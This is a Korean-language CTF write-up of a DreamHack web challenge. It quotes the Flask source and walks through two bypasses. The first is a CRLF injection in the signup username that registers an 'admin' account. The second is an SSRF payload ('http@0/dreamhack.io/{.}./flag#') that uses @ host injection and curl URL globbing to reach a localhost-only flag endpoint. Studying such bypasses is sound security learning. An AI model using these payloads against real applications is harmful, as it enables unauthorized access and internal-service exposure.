๊ธ€ ์ž‘์„ฑ์ž: heogi

Description

curl ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค.
/flag ์—”๋“œํฌ์ธํŠธ๋กœ ์š”์ฒญํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์–ด์ฃผ์„ธ์š”.

Attack

admin์œผ๋กœ ๋กœ๊ทธ์ธํ•˜์—ฌ /flag๋กœ ์š”์ฒญํ•˜์—ฌ FLAG๋ฅผ ํš๋“ํ•ด์•ผํ•œ๋‹ค.
/flag ํŽ˜์ด์ง€๋Š” localhost์—์„œ ํ˜ธ์ถœ์‹œ์—๋งŒ FLAG๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค.

COPY
@app.route("/flag", methods=["GET"])
def flag():
ip_address = request.remote_addr
if ip_address == "127.0.0.1":
return FLAG
else:
return "Only local access allowed", 403
COPY
@app.route("/signup", methods=["GET", "POST"])
def signup():
if request.method == "GET":
return render_template("signup.html")
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username == "" or password == "":
return render_template("login.html", msg="Enter username and password")
m = search(r".*", username)
if username or m:
if m.group().strip().find("admin") == 0:
return render_template("signup.html", msg="Not allowed username"), 403
else:
username = username.strip()
sha256_password = sha256((password).encode()).hexdigest()
register_user(username, sha256_password)
return redirect("/login")

๋จผ์ € admin์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ํšŒ์›๊ฐ€์ž…์„ ์ง„ํ–‰ํ•ด์•ผํ•œ๋‹ค.

ํ•˜์ง€๋งŒ m = search(r".*", username) ๊ตฌ๋ฌธ์„ ํ†ตํ•ด ์ž…๋ ฅํ•œ username์—์„œ admin์ด๋ž€ ๋ฌธ์ž์—ด์„ ๊ฒ€์‚ฌํ•˜์—ฌ ํ•„ํ„ฐ๋งํ•œ๋‹ค.

ํ•ด๋‹น ๊ตฌ๋ฌธ์€ multiline flag ์˜ต์…˜์ด ์—†์–ด, ์ฒซ๋ฒˆ์งธ ์ค„๋งŒ ๊ฒ€์‚ฌ๋ฅผ ํ•˜๊ฒŒ ๋œ๋‹ค.

๋”ฐ๋ผ์„œ CRLF(%0D%0A)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐœํ–‰ ํ›„ admin์„ ์ž…๋ ฅํ•˜๋ฉด ํ•ด๋‹น ์ •๊ทœ ํ‘œํ˜„์‹์„ ์šฐํšŒํ•˜์—ฌ admin์œผ๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ณ„์ •์„ ์ƒ์„ฑ ํ•  ์ˆ˜ ์žˆ๋‹ค.

COPY
POST /signup HTTP/1.1
Host: localhost
...
Connection: keep-alive
username=%0d%0aadmin&password=123

admin ์œผ๋กœ ๋กœ๊ทธ์ธ ์ดํ›„ ์•„๋ž˜์™€ ๊ฐ™์€ ํ™”๋ฉด์ด ๋ณด์ด๊ณ  ํ•ด๋‹น ๊ธฐ๋Šฅ์€ /admin ์œผ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค.

 

@app.route("/admin", methods=["GET", "POST"])
def admin():
if not session:
return redirect("/login")
if session["isAdmin"] == False:
return redirect("/guest")
if request.method == "GET":
return render_template("admin.html")
if request.method == "POST":
url = request.form["url"].strip()
#url์ด http๋กœ ์‹œ์ž‘ํ•˜๊ณ  7~20๋ฒˆ์งธ ๋ฌธ์ž๋Š” dreamhack.io์ด์—ฌ์•ผํ•œ๋‹ค.
if (url[0:4] != "http") or (url[7:20] != "dreamhack.io/"):
return render_template("admin.html", msg="Not allowed URL")
#url์— .. ๊ณผ %๋Š” ํ•„ํ„ฐ๋ง
if (".." in url) or ("%" in url):
return render_template("admin.html", msg="Not allowed path traversal")
#url์— , ์ด ์žˆ๊ฑฐ๋‚˜ flag๋กœ ๋๋‚˜๋ฉด ์•ˆ๋จ
if url.endswith("flag") or ("," in url):
return render_template("admin.html", msg="Not allowed string or character")
try:
print(url, flush=True)
response = subprocess.run(
["curl", f"{url}"], capture_output=True, text=True, timeout=1
)
return render_template("admin.html", response=response.stdout)
except subprocess.TimeoutExpired:
return render_template("admin.html", msg="Timeout !!!")

 

์ž…๋ ฅํ•œ URL์„ ํ†ตํ•ด /flag ๋ฅผ ํ˜ธ์ถœํ•ด์•ผํ•˜๋Š”๋ฐ ๋‹ค์–‘ํ•œ ํ•„ํ„ฐ๋ง์ด ์กด์žฌํ•œ๋‹ค.

http://dreamhack.io/@localhost/flag๋Š” / ์ดํ›„์— @ ๊ฐ€ ์ž…๋ ฅ์ด๋˜์–ด์„œ ์ด๋ฏธ / ์„ ํ†ตํ•ด URL์˜ ๊ตฌ์กฐ๊ฐ€ ์™„์„ฑ๋˜์–ด์„œ ๊ณต๊ฒฉ์ด ๋ถˆ๊ฐ€ํ•˜๋‹ค.

์ฒซ๋ฒˆ์งธ ํ•„ํ„ฐ๋ง ์กฐ๊ฑด์—์„œ http ์ดํ›„ 3๊ฐœ์˜ ๋ฌธ์ž๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ ์ด๋ฅผ ์ด์šฉํ•ด @ ๋ฅผ ํ†ตํ•œ Host Injection์„ ์‹œ๋„ํ•œ๋‹ค.

์•„๋ž˜ URL๋กœ curl ์š”์ฒญ์„ ํ•˜๊ฒŒ ๋˜๋ฉด 0.0.0.0 ์œผ๋กœ ์š”์ฒญ์ด ์กฐ์ž‘๋˜์–ด ์ „์†ก๋œ๋‹ค.

 

curl -v http@0/dreamhack.io

 

localhost์—์„œ ๋ณด๋‚ด๋Š” ์กฐ๊ฑด์€ ์ถฉ์กฑ๋˜์—ˆ๊ณ , /flag ํŽ˜์ด์ง€๋งŒ ํ˜ธ์ถœ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉด ๋œ๋‹ค.

์œ„์˜ curl ์š”์ฒญ์—์„œ /dreamhack.io ๊ฐ€ URL Path๋กœ ์ธ์‹์ด ๋˜๋Š”๋ฐ, /flag ํ˜ธ์ถœ์„ ์œ„ํ•ด์„œ๋Š” http@0/dreamhack.io/../flag ์™€ ๊ฐ™์€ ํ˜•ํƒœ๊ฐ€ ๋˜์–ด์•ผํ•œ๋‹ค.

ํ•˜์ง€๋งŒ ์ฝ”๋“œ์—์„œ .. ์€ Path Traversal๋กœ ํ•„ํ„ฐ๋ง์ด ๋˜๊ณ ์žˆ๋‹ค.

curl ์˜ URL globbing ๊ธฐ๋ฒ•์„ ํ†ตํ•ด ์ด๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

URL globbing ๊ธฐ๋ฒ•์€ curl ์—์„œ ๋™์ผํ•œ URL ๋ฒ”์œ„๋ฅผ ์‰ฝ๊ฒŒ ์ง€์ •ํ•˜์—ฌ ์—ฌ๋Ÿฌ๋ฒˆ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์ด๋ฉฐ, ์•„๋ž˜์™€ ๊ฐ™์ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

curl -O "http://example.com/{one,two,three,alpha,beta}.html"

 

์ด๋ฅผ ์ด์šฉํ•ด ํ•ด๋‹น ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ์š”์ฒญ์ด ์™„์„ฑ๋˜๊ณ  Flag ํš๋“์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

http@0/dreamhack.io/{.}./flag#
 

'๐Ÿ›ก๏ธCTF > DreamHack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Switching Commnad  (0) 2024.01.07
Secure Mail  (0) 2024.01.03
Shell_Basic  (0) 2023.10.08
rev-basic-4  (0) 2023.09.28
rev-basic-3  (0) 2023.09.19